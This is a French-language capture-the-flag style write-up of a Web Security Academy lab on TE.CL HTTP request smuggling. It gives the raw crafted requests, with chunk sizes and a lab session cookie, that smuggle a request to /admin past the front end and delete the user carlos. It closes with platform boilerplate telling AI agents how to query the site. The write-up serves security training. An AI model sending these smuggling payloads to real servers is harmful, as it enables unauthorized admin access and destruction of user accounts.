> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Contournement de la sécurité front-end via TE.CL

### Exploiter l'évasion de requêtes HTTP pour contourner les contrôles de sécurité du front-end, vulnérabilité TE.CL

Le système est basé sur un serveur front-end et un serveur back-end. / Back-end **ne gère pas l'encodage segmenté**, tandis que le front-end **verrouille l'accès à /admin**. / L'objectif est de **dissimuler une requête vers /admin** afin de supprimer l'utilisateur carlos.

Bien que l'application prenne en charge HTTP/2, l'exploitation repose sur des techniques spécifiques à HTTP/1.

<figure><img src="/files/ef43191ab98f2558195e5831b6773b7302cf7ee4" alt=""><figcaption></figcaption></figure>

#### **Observation initiale**

Le front-end interprète correctement `Transfer-Encoding: chunked`. / Nous envoyons d'abord une requête simple :

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Construction de la requête dissimulée**

Un **nouvelle requête complète** est injectée dans le corps segmenté.

#### **Modèle préparatoire**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: taille
Transfer-Encoding: chunked

taille
GET /admin HTTP/1.1
Host: localhost
Content-Length: taille

test=testing
0


```

#### **Ajustement de la taille**

Un minimum `Content-Length` du côté du front-end est fixé, suivi d'un fragment contenant la requête dissimulée :

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Le serveur interprète correctement la requête injectée.

<figure><img src="/files/1b047610c41df246bdcd7c6973531c2f49557e16" alt=""><figcaption></figcaption></figure>

#### **Injection de la requête finale pour supprimer Carlos**

La requête cible est remplacée par une suppression d'utilisateur :

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Cette requête dissimulée est ensuite traitée directement par le back-end, contournant complètement le filtrage du front-end.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="/files/fe5641743ce102ba914aa42e5d5ac68533f5f5da" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
